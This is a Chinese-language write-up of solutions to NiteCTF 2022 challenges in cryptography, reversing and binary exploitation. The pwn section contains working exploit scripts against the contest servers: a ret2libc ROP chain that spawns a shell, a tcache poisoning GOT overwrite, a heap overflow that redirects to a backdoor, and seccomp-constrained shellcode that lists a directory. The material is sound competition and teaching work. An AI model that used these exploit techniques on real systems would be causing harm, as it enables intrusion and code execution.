[NiteCTF 2022] 部分

差点忘了写了。今天才想起来。

现在的密码都从RSA转到ECC了,看来这块还得学。

Cryptography

Basically, I locked up

循环移位加异或,有一部分结果给出了,唯一的问题是这8位从哪一位开始。


def new_encryption(file_name, password):with open(file_name, "rb") as f:plaintext = f.read()assert(len(password) == 8)assert(b"HiDeteXT" in plaintext)add_spice = lambda b: 0xff & ((b << 1) | (b >> 7))ciphertext = bytearray(add_spice(c) ^ ord(password[i % len(password)]) for i, c in enumerate(plaintext))with open(file_name + "_encrypted", "wb") as f:f.write(ciphertext)def new_decryption(file_name, password):with open(file_name + "_encrypted", "rb") as f:ciphertext = f.read()remove_spice = lambda b: 0xff & ((b >> 1) | (b << 7))plaintext = bytearray(remove_spice(c ^ ord(password[i % len(password)])) for i, c in enumerate(ciphertext))with open(file_name + "_decrypted", "wb") as f:f.write(plaintext)password = REDACTEDnew_encryption("Important", password)
new_decryption("Important", password)

一共就这么点数据,试呗。

'''
I was experimenting with making a new encryption algorithm, and came up with this one. I unfortunately decided to test it on a file which was very important to me, and now I need help in decrypting the file :(flag format: NITE{}
'''data = open("Important_encrypted", "rb").read()
c = [((v>>1)|(v<<7))&0xff for v in data]
print(c)#assert(b"HiDeteXT" in plaintext)
key = b"HiDeteXT"
for i in range(len(c)-8):tpass = [c[i+j]^key[j] for j in range(8)]a = [v^tpass[(8-i+j)%8] for j,v in enumerate(c)]print(bytes(a))#b'Oh, You Searching for HiDeteXT ??\n\nNITE{BrUT3fORceD_y0uR_wAy_iN}\n'

Shoo-in

这是个RNG的题,每次给出两个RNG随机数生成的词,猜第3个结果。刚开始感觉这个getPrime没法弄,仔细一看不是常用的,是自己的写的,还是用的那个RNG,那就好办了。

import gmpy2
import secrets as s
from flag import flagfn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.readlines()
ln_content = ln.readlines()
prime_arr = fp.readlines()class RNG:def __init__ (self, seed, a, b, p):self.seed = seedself.a = aself.b = bself.p = p  #p0=1300def gen(self):out = self.seedwhile True:out = (self.a * out + self.b) % self.pself.a += 1self.b += 1self.p += 1yield outdef getPrime ():prime = int(prime_arr[next(gen)].strip())return primedef generate_keys():p = getPrime()q = getPrime()n = p*qg = n+1l = (p-1)*(q-1)mu = gmpy2.invert(((p-1)*(q-1)), n)return (n, g, l, mu)def pallier_encrypt(key, msg, rand):   #k1^msg * r^k0 % k0^2n_sqr = key[0]**2return (pow(key[1], msg, n_sqr)*pow(rand, key[0], n_sqr) ) % n_sqrN=(min(len(fn_content), len(ln_content)))  #1300
seed, a, b = s.randbelow(N), s.randbelow(N), s.randbelow(N)
lcg = RNG(seed, a, b, N)
gen=lcg.gen()for i in range (0, 10):if i==0:name1 = fn_content[a].strip()+" "+ln_content[b].strip()else:name1 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()name2 = fn_content[next(gen)].strip()+" "+ln_content[next(gen)].strip()print (f"{name1}	vs	{name2}")winner=next(gen)%2inp = int(input ("Choose the winner: 1 or 2\n"))if (winner!=inp%2):print ("Sorry, you lost :(")breakelse:if (i<9):print ("That's correct, here is the next round\n")else:print ("Congratulations! you made it")print ("Can you decode this secret message?")key=generate_keys()print(pallier_encrypt(key, int.from_bytes(flag, "big"), next(gen)))

都是已知数,重算也很容易,最后是个RSA,pq是从表里选的。

from pwn import *
import re '''
┌──(kali㉿kali)-[~/ctf/nite]
└─$ nc 34.90.236.228 1337
== proof-of-work: disabled ==
Fiona Benjamin  vs      Mario Stone
Choose the winner: 1 or 2
1
Sorry, you lost :(
'''
class RNG:def __init__ (self, seed, a, b, p):self.seed = seedself.a = aself.b = bself.p = p  #p0=1300def gen(self):out = self.seedwhile True:out = (self.a * out + self.b) % self.pself.a += 1self.b += 1self.p += 1yield outfn = open(r"firstnames.py", 'r')
ln = open(r"lastnames.py", 'r')
fp = open (r"primes.py", 'r')
fn_content = fn.read().split('\n')
ln_content = ln.read().split('\n')
prime_arr = fp.read().split('\n')
N=(min(len(fn_content), len(ln_content)))  #1300io = remote('34.90.236.228', 1337)
context.log_level = 'debug'io.readline()def get_v():msg = io.readline().decode().strip()vs = re.findall('(\w+) (\w+)', msg)a = fn_content.index(vs[0][0])b = ln_content.index(vs[0][1])k1 = fn_content.index(vs[1][0])k2 = ln_content.index(vs[1][1])p = N#k1 = (seed*a + b ) % 1300#k2 = (k1 *(a+1) + b+1)%(1300+1)for i in range(N):if (i*a+b)%p == k1:seed = i break lcg = RNG(seed, a, b, N)print(k1,k2, seed,a,b)return lcg lcg = get_v()
gen=lcg.gen()
print(next(gen)) #k1
print(next(gen)) #k2
winter = next(gen)
io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))for i in range(9):for _ in range(5):winter = next(gen)print(winter)io.sendlineafter(b"Choose the winner: 1 or 2\n", str(winter%2))io.recvline()print(next(gen))
print(next(gen))
print(next(gen))
print(io.recvline())
print(io.recvline())'''
40
307
194
b'Can you decode this secret message?\n'
b'952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774\n'
'''
c = 952213854065245981494713070734627594403606241770944057463761299078042977618041864744128444259753250272243723431255259238294856382243043952641674430463537071240590430063551976596776421251255985997922377315767062413480506894962589246691271054871807393380078125595992018307960953726439758915501543884150822819975105262946366155063277558474145006656545054748986667263344024528166904365723664482018908622698721621621784837434376559047416204368776704477401745501674972486064828995568748920904920331225258554920600482364414580663333006410901233750305106127732600544142359851750623790807104679600730142992593369592671480774
p = 11084536122813715927410051257817590896970562361811652731907519111743509886000443634629301965808931651188998735979652006281012423974337408085727916211410131
q = 10145978078457239983872001639902969355958538256379830083084510015286273578765144648268503622558703011174078028817782983981406601618506160018814007929931429
n = p*q
msg = (c* pow(194,-n,n**2) - 1)%(n**2)//n
print(bytes.fromhex(hex(msg)[2:]))
#niteCTF{n0T_sO_R@nd0m}

itsybitsyrsa

这个题作出来的人居然比其它少。题目的c 很小,给了一个相对很小的e和一个特别巨大的n,所以对c直接开根号就可以。

>>> from gmpy2 import *
>>> ciphertext = 6078024553798423193134967325270202387306878937484454700144785210832339394815755363797263535831144760384402536810461373914152520460747525153665635734626316310578003166548806000257683343852515263031628982090233695220996295032936575716583495728596126751240079096593674364003045802249298199299361678669999745224985018839154146274074600219004965752333973048957727607976725390827990575687729813226401613702699051183257441850021693636974059959344719833412453497905025417839593351622709320636996239925666464353782301133515409222675847507495737188612142538775923129639884713213170912412518764747314619754618935957508354423666708305283517089032529536091110672987796381041103691446861077236961021291528811563298490135433417943714341600679964290019221435173955077079534262914560363410100316164874755331857321367215504170169506530829003731002286506634566210457965981128308504884772191672868854893390582947404342842342030835898357035291520488504627786631610266867404462368810904044020922219016091271442927517366424724153649714183355349680378250273179790120117028240988746574955059493160419888665136152805270891708176918684492030128951968893950334587567572817024928765027704515006283132198362570058143023780563048556943074104495580079392728582124369736058787865590815783160185854832854400083556883133430113640241620974371084500414639729721776378201893504526891318527252714991185354640966396032717093278978086783973148758992064489657034951664501685021776992781825670446309052924862405987959567508952981788143192406287870556075361766899243818598590213907358880725157
>>> iroot(ciphertext,19)
(mpz(3272916049721142499947688295733093290957148771109821577914942913616526059378599293), True)
>>> bytes.fromhex(hex(3272916049721142499947688295733093290957148771109821577914942913616526059378599293)[2:])
b'nitectf{rsa_can_be_very_adaptable}'
>>>

curvAES 未完成

这是个ECC的题,原来看过一个数字比较小的,直接爆破。这个不行了,不知道怎么弄。

这里一些是专门写的错误和拼写错误来误导。作了点修改后。

from tinyec import registry
from Crypto.Cipher import AES
import hashlib, secrets, binascii#curve = registry.get_curve('0x630x750x720x760x650x200x690x730x200x620x720x610x690x6e0x700x6f0x6f0x6c0x500x320x350x360x720x31')
#'curve is brainpoolP256r1'
curve = registry.get_curve('brainpoolP256r1')def To256bit(point):algo = hashlib.sha256(int.to_bytes(point.x,32,'big'))algo.update(int.to_bytes(point.y,32,'big'))return algo.digest()def encrypt_1(msg,secretKey):Cipher1 = AES.new(secretKey,AES.MODE_GCM)ciphertext,auth = Cipher1.encrypt_and_digest(msg)print(ciphertext , Cipher1.nonce , auth)return (ciphertext,Cipher1.nonce,auth)def encrypt_2(msg,pubKey):ctPK = secrets.randbelow(curve.field.n)sharedKey = ctPK * pubKeysecretKey = To256bit(sharedKey)ciphertext, nonce, auth = encrypt_1(msg, secretKey)ctPubK = ctPK * curve.greturn (ciphertext, nonce, auth, ctPubK ) #PubKeyprivKey = 'Figure that out on your own :('
pubKey = privKey * curve.gEncoded_message = encrypt_2(msg, pubKey)encoded_message_details = {'ciphertext': binascii.hexlify(),'nonce': binascii.hexlify(),'auth': binascii.hexlify(),'PubKey': hex(??.x) + hex(??.y%2)[?:]
}'''
根据ctPubK.x 恢复ctPK 求sharedKey
shareKey ->AES.key
AES解密
'''
y^2 = x^3 + 56698187605326110043627228396178346077120614539475214109386828188763884139993x + 17577232497321838841075697789794520262950426058923084567046852300633325438902 (mod 76884956397045344220809746629001649093037950200943055203735601445031516197751)

REV

undodge

一个.net的程序,UnDodge_Data\Managed\Assembly-CSharp.dll是主程序,用dySpy打开,根本没找着处理的逻辑,但是看到一堆这个

// 
// 
// 类型:
// 
// 
// 
// BallSpawner
// BombSpawner
// Flagchar
// Flagchar1
// Flagchar10
// Flagchar11
// Flagchar12
// Flagchar13
// Flagchar14
// Flagchar15
// Flagchar2
// Flagchar3
// Flagchar4
// Flagchar5
// Flagchar6
// Flagchar7
// Flagchar8
// Flagchar9
// GameManager

flagChar从0到15,猜就是这。出来的结果两头都是下划线,不大像,但试了一下对

_what_a_player__niteCTF{_what_a_player__} 

parser

第二个难度有点大,基本要猜。

int __fastcall sub_1FED(const char *a1)
{int v2; // ebxchar v3; // alint v4; // [rsp+18h] [rbp-18h]int v5; // [rsp+1Ch] [rbp-14h]v4 = 0;v5 = -1;while ( a1[v4] ){if ( is_alpha(a1[v4]) )                     // 字母{a1[++v5] = a1[v4];goto LABEL_18;}if ( a1[v4] == 40 )                         // (goto LABEL_17;if ( a1[v4] != 41 )                         // ){while ( !(unsigned int)stack_empty() ){v2 = sub_1F98((unsigned int)a1[v4]);    // ()@_$&!v3 = stack_top();if ( v2 > (int)sub_1F98((unsigned int)v3) )// 大于栈顶则入栈break;a1[++v5] = stack_pop();                 // 小于栈顶,弹顶}
LABEL_17:stack_push((unsigned int)a1[v4]);         // push 5030goto LABEL_18;}while ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )// 右括号a1[++v5] = stack_pop();if ( !(unsigned int)stack_empty() && (unsigned __int8)stack_top() != 40 )return -1;stack_pop();
LABEL_18:++v4;}while ( !(unsigned int)stack_empty() )a1[++v5] = stack_pop();a1[v5 + 1] = 0;return printf("%s", a1);
}

前一块很简单,字母直接出,符号分别给了个优先级,见到符号会入栈,但栈必需顶大,如果不大就弹到大再入,flag就那么几个字母,给了个提示“t”是“!”,后边就是猜。

c = 'nitehi!i$hepos_!w&$rD@{}'2 1     32 21  1..nitehi!i$hepos_!w&$rD@{} 
nite{!hi$i$!he_pos&w@rD}this is the _ possword

后边两个一直也没看懂

pwn

Toosmall

国外多数比赛不大注重pwn,所以难度都不大。但这个的问题是怎么循环回来。

int __cdecl main(int argc, const char **argv, const char **envp)
{char s[16]; // [rsp+0h] [rbp-10h] BYREFsetbuf(_bss_start, 0LL);setbuf(stdin, 0LL);memset(s, 0, sizeof(s));puts("What's your favourite movie?: ");read(0, s, 0x100uLL);printf("Oooh you like %s?\n", s);return 0;
}

最后找到__libc_init_first+0x4c这个位置

.text:0000000000029D10                               ; void __fastcall __noreturn sub_29D10(unsigned int (__fastcall *)(_QWORD, __int64, char **), unsigned int, __int64)
.text:0000000000029D10                               sub_29D10 proc near                     ; CODE XREF: __libc_start_main+7B↓p
.text:0000000000029D10
.text:0000000000029D10                               var_90= qword ptr -90h
.text:0000000000029D10                               var_84= dword ptr -84h
.text:0000000000029D10                               var_80= qword ptr -80h
.text:0000000000029D10                               var_78= byte ptr -78h
.text:0000000000029D10                               var_30= qword ptr -30h
.text:0000000000029D10                               var_28= qword ptr -28h
.text:0000000000029D10                               var_10= qword ptr -10h
.text:0000000000029D10
.text:0000000000029D10                               ; __unwind {
.text:0000000000029D10 50                            push    rax
.text:0000000000029D11 58                            pop     rax
.text:0000000000029D12 48 81 EC 98 00 00 00          sub     rsp, 98h
.text:0000000000029D19 48 89 7C 24 08                mov     [rsp+98h+var_90], rdi
.text:0000000000029D1E 48 8D 7C 24 20                lea     rdi, [rsp+98h+var_78]           ; env
.text:0000000000029D23 89 74 24 14                   mov     [rsp+98h+var_84], esi
.text:0000000000029D27 48 89 54 24 18                mov     [rsp+98h+var_80], rdx
.text:0000000000029D2C 64 48 8B 04 25 28 00 00 00    mov     rax, fs:28h
.text:0000000000029D35 48 89 84 24 88 00 00 00       mov     [rsp+98h+var_10], rax
.text:0000000000029D3D 31 C0                         xor     eax, eax
.text:0000000000029D3F E8 9C 84 01 00                call    _setjmp
.text:0000000000029D3F
.text:0000000000029D44 F3 0F 1E FA                   endbr64
.text:0000000000029D48 85 C0                         test    eax, eax
.text:0000000000029D4A 75 4B                         jnz     short loc_29D97
.text:0000000000029D4A
.text:0000000000029D4C 64 48 8B 04 25 00 03 00 00    mov     rax, fs:300h
.text:0000000000029D55 48 89 44 24 68                mov     [rsp+98h+var_30], rax
.text:0000000000029D5A 64 48 8B 04 25 F8 02 00 00    mov     rax, fs:2F8h
.text:0000000000029D63 48 89 44 24 70                mov     [rsp+98h+var_28], rax
.text:0000000000029D68 48 8D 44 24 20                lea     rax, [rsp+98h+var_78]
.text:0000000000029D6D 64 48 89 04 25 00 03 00 00    mov     fs:300h, rax
.text:0000000000029D76 48 8B 05 3B F2 1E 00          mov     rax, cs:environ_ptr
.text:0000000000029D7D 8B 7C 24 14                   mov     edi, [rsp+98h+var_84]
.text:0000000000029D81 48 8B 74 24 18                mov     rsi, [rsp+98h+var_80]
.text:0000000000029D86 48 8B 10                      mov     rdx, [rax]
.text:0000000000029D89 48 8B 44 24 08                mov     rax, [rsp+98h+var_90]
.text:0000000000029D8E FF D0                         call    rax
.text:0000000000029D8E
.text:0000000000029D90 89 C7                         mov     edi, eax
.text:0000000000029D90
.text:0000000000029D92
.text:0000000000029D92                               loc_29D92:                              ; CODE XREF: sub_29D10+AA↓j
.text:0000000000029D92 E8 59 B8 01 00                call    exit
.text:0000000000029D92
.text:0000000000029D97                               ; ---------------------------------------------------------------------------
.text:0000000000029D97
.text:0000000000029D97                               loc_29D97:                              ; CODE XREF: sub_29D10+3A↑j
.text:0000000000029D97 E8 D4 78 06 00                call    sub_91670
.text:0000000000029D97
.text:0000000000029D9C F0 FF 0D 05 F5 1E 00          lock dec cs:__nptl_nthreads
.text:0000000000029DA3 0F 94 C0                      setz    al
.text:0000000000029DA6 84 C0                         test    al, al
.text:0000000000029DA8 75 0E                         jnz     short loc_29DB8
.text:0000000000029DA8
.text:0000000000029DAA BA 3C 00 00 00                mov     edx, 3Ch ; '<'
.text:0000000000029DAF 90                            nop
.text:0000000000029DAF
.text:0000000000029DB0
.text:0000000000029DB0                               loc_29DB0:                              ; CODE XREF: sub_29D10+A6↓j
.text:0000000000029DB0 31 FF                         xor     edi, edi                        ; error_code
.text:0000000000029DB2 89 D0                         mov     eax, edx
.text:0000000000029DB4 0F 05                         syscall                                 ; LINUX - sys_exit
.text:0000000000029DB6 EB F8                         jmp     short loc_29DB0
.text:0000000000029DB6
.text:0000000000029DB8                               ; ---------------------------------------------------------------------------
.text:0000000000029DB8
.text:0000000000029DB8                               loc_29DB8:                              ; CODE XREF: sub_29D10+98↑j
.text:0000000000029DB8 31 FF                         xor     edi, edi
.text:0000000000029DBA EB D6                         jmp     short loc_29D92
.text:0000000000029DBA                               ; } // starts at 29D10
.text:0000000000029DBA
.text:0000000000029DBA                               sub_29D10 endp
.text:0000000000029DBA
.text:0000000000029DBA                               ; ---------------------------------------------------------------------------

这题其实实现了循环回来就好办了,泄露就行了。

#py a.py re chall 34.141.229.188:1337
#py a.py de challfrom pwncli import *
cli_script()io = gift.io
libc = gift.libcsa("What's your favourite movie?: \n", b'A'*24+p8(0x4c))
ru('Oooh you like '+ 'A'*24)
libc.address = u64( rn(6).ljust(8, b'\x00') ) - 0x29d4c
print(hex(libc.address))pop_rdi = libc.address + 0x000000000002a3e5 # pop rdi ; ret
bin_sh  = next(libc.search(b'/bin/sh\x00'))sla("What's your favourite movie?: \n", b'A'*24+flat(pop_rdi+1, pop_rdi, bin_sh, libc.sym.system))ia()

elementary-tcache

一个堆题,用了非常难搞的libc-2.35但直接用了指针,edit有溢出可以写到指针。那就好办了。

int __cdecl main(int argc, const char **argv, const char **envp)
{unsigned int v3; // ebxint v5; // [rsp+4h] [rbp-7Ch] BYREFunsigned int v6; // [rsp+8h] [rbp-78h] BYREFunsigned int v7; // [rsp+Ch] [rbp-74h] BYREFvoid *ptr[13]; // [rsp+10h] [rbp-70h]ptr[11] = (void *)__readfsqword(0x28u);setbuf(stdout, 0LL);setbuf(stdin, 0LL);setbuf(stderr, 0LL);puts("1. Allocate chunk");puts("2. Edit chunk");puts("3. Free chunk");puts("4. View chunk");puts("5. Exit");do{while ( 1 ){while ( 1 ){while ( 1 ){while ( 1 ){printf("Option: ");__isoc99_scanf("%d", &v5);if ( v5 != 1 )break;printf("Slot: ");__isoc99_scanf("%d", &v6);if ( v6 < 0xA ){printf("Size: ");__isoc99_scanf("%d", &v7);v3 = v6;ptr[v3] = malloc((int)v7);}else{puts("Bad slot number!");}}if ( v5 != 2 )break;printf("Slot: ");__isoc99_scanf("%d", &v7);if ( !ptr[v7] || v7 > 9 )goto LABEL_20;printf("Enter content: ");__isoc99_scanf("%s", ptr[v7]);        // edit 溢出}if ( v5 != 3 )break;printf("Slot: ");__isoc99_scanf("%d", &v7);if ( v7 > 9 || !ptr[v7] )goto LABEL_20;free(ptr[v7]);                          // UAF}if ( v5 != 4 )break;printf("Slot: ");__isoc99_scanf("%d", &v7);if ( ptr[v7] && v7 <= 9 )puts((const char *)ptr[v7]);else
LABEL_20:puts("Invalid slot!");}}while ( v5 != 5 );return puts("BYE!");
}

由于2.35的堆是有个异或处理,先要弄到heap地址,再tcache-attack把chunk建到got来得到libc,最后把后门写上。2.35建块要在尾号0上有点讨厌,所以这里泄露scanf再改puts

#py a.py re heapchall 34.90.214.14:1337
#py a.py de heapchallfrom pwncli import *
cli_script()io = gift.io
elf = gift.elf
libc = gift.libcdef add(idx, size):sla("Option: ", '1')sla("Slot: ", str(idx))sla("Size: ", str(size))def edit(idx,msg):sla("Option: ", '2')sla("Slot: ", str(idx))sla("Enter content: ", msg)def free(idx):sla("Option: ", '3')sla("Slot: ", str(idx))def show(idx):sla("Option: ", '4')sla("Slot: ", str(idx))def bye():sla("Option: ", '5')add(0, 0x10)
add(1, 0x10)
free(1)
free(0)
show(1)high_heap = u64(rn(2).ljust(8, b'\x00')) 
log_ex(hex(high_heap))edit(0, p64((elf.got['__isoc99_scanf']) ^ high_heap))
add(2, 0x10)
add(3, 0x10)  #got.puts
show(3)libc.address = u64(rn(6).ljust(8, b'\x00')) - libc.sym.__isoc99_scanf
log_ex(hex(libc.address))edit(3, flat(elf.sym['win'])[:-1]) #putsia()

Ticket System

也是堆题,有add,edit还有后门。还有溢出,只需要利用溢出写到后门上就Ok

     else if ( v24 == 2 )                      // edit{std::operator<<>(&std::cout, "Enter ticket no: ", v12);std::istream::operator>>(&std::cin, &v25);if ( v25 <= 0x13 )addSongOpt((BaseTicket *)v28[v25]);}else{
LABEL_21:v22 = std::operator<<>(&std::cout, "Invalid option!", v12);std::ostream::operator<<(v22, &std::endl>);}

直接溢出写到后门

#py a.py re tickets 34.90.13.196:1337
#py a.py de ticketsfrom pwncli import *
cli_script()io = gift.io
elf = gift.elf
libc = gift.libcdef add(msg=b'AAAA'):sla("Option: ", '1')sla("Enter ticket type: ", '2')sla("Enter priority ticket (128 chars limit): ", msg)def edit(idx, msg):sla("Option: ", '2')sla("Enter ticket no: ", str(idx))sla('Enter priority ticket (128 chars limit): ', msg)add()
add()
edit(0, flat(0,0,0,0,0x31,0x403d78))
edit(1, b'A')ia()

dented-shell

这题打开了一个目录,然后通过seccomp只通话读写,猜是把flag作为文件名了。直接溢出的读和写

int __cdecl main(int argc, const char **argv, const char **envp)
{void *buf; // [rsp+10h] [rbp-10h]__int64 v5; // [rsp+18h] [rbp-8h]setvbuf(stdin, 0LL, 2, 0LL);setvbuf(_bss_start, 0LL, 2, 0LL);buf = mmap(0LL, 0x80uLL, 7, 33, -1, 0LL);if ( buf == (void *)-1LL ){puts("Failed to mmap!");return -1;}else{read(0, buf, 0x80uLL);open("./", 0, 0LL);puts("Here's your free file descriptor :3");if ( mprotect(buf, 0x80uLL, 5) ){puts("mprotect failed!");return -1;}else{v5 = seccomp_init(0LL);seccomp_rule_add();seccomp_rule_add();seccomp_rule_add();puts("Let's see how your shellcode does!");if ( (unsigned int)seccomp_load(v5) )__assert_fail("seccomp_load(ctx) == 0", "shellcode_chall.c", 0x22u, "main");((void (__fastcall *)(__int64, __int64))buf)(v5, 2147418112LL);//  执行输入的shellcodereturn 0;}}
}

运行比较简单,只是出来的东西有些乱,多弄两回对照找到flag

文件项前边是\x04所以也算好找。

#py a.py re chall 34.90.119.207:1337
#py a.py de challfrom pwncli import *
cli_script()io = gift.io
elf = gift.elf
libc = gift.libcpay = '''
mov rdi,3;mov rsi,rsp;mov rdx,1024;mov rax,0xd9;syscall;
mov rdi,1;mov rsi,rsp;mov rdx,1024;mov rax,1;syscall;
'''
sa("Here's your free file descriptor :3\n", asm(pay))
rl()
print(rn(1024))

然后大海捞针

nite{ls_us3s_g3td3nts64_sysc4ll_0n_l1nux}b"Here's your free file descriptor :3\nLet's see how your shellcode does!\n\x15o\x06\x00\x00\x00\x00\x00\xcc\x06k\xc0`N\xc1\x1b \x00\x04l1nux}\x00.\xb7\x8f\x7f\x00\x00\x16o\x06\x00\x00\x00\x00\x005\xceMn\xa1\xab\x18/(\x00\x04nite{ls_us3s_\x00\xa2j\xb4\xcbU\x00\x00\x13o\x06\x00\x00\x00\x00\x00\x81\xa5\xa2\xec\xf6\x8e\x88R\x18\x00\x08chal\x00\x11o\x06\x00\x00\x00\x00\x00\x84\x1e\xb9\xef\xb8\xb1\xf3S\x18\x00\x04..\x00\x00\x00\x14o\x06\x00\x00\x00\x00\x00\xf6\xebZ \x1e\xc4\ng \x00\x04g3td3nts64_\x00g\x17o\x06\x00\x00\x00\x00\x00\xb2\x8a\xf6w\xba\xd3\x83z \x00\x04sysc4ll_0n_\x00\x00\x12o\x06\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\x7f\x18\x00\x04.\x00\x00\x00\x00@~\x08\xb7\x8f\x7f\x00\x00\xe8\x0f\xfc\x07\xfc\x7f\x00\x00h\xcdj\xb4\xcbU\x00\x00\xe0R.\xb7\x8f\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\xd0\x0f\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa5\xa1j\xb4\xcbU\x00\x00\xc8\x0f\xfc\x07\xfc\x7f\x00\x00\x1c\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xd8/\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00!\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xfc\x07\xfc\x7f\x00\x00\x10\x00\x00\x00\x00\x00\x00\x00\xff\xfb\x8b\x1f\x00\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00@\x90j\xb4\xcbU\x00\x00\x04\x00\x00\x00\x00\x00\x00\x008\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\xa0*\xb7\x8f\x7f\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\t\x00\x00\x00\x00\x00\x00\x00\x80\xa1j\xb4\xcbU\x00\x00\x0b\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\r\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x0e\x00\x00\x00\x00\x00\x00\x00\xe8\x03\x00\x00\x00\x00\x00\x00\x17\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x009\x11\xfc\x07\xfc\x7f\x00\x00\x1a\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x1f\x00\x00\x00\x00\x00\x00\x00\xe8/\xfc\x07\xfc\x7f\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00I\x11\xfc\x07\xfc\x7f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\xdfT\xe3 \x7f\x8f\x89\x17#\xa7\x0eL\xdf{x86_64\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"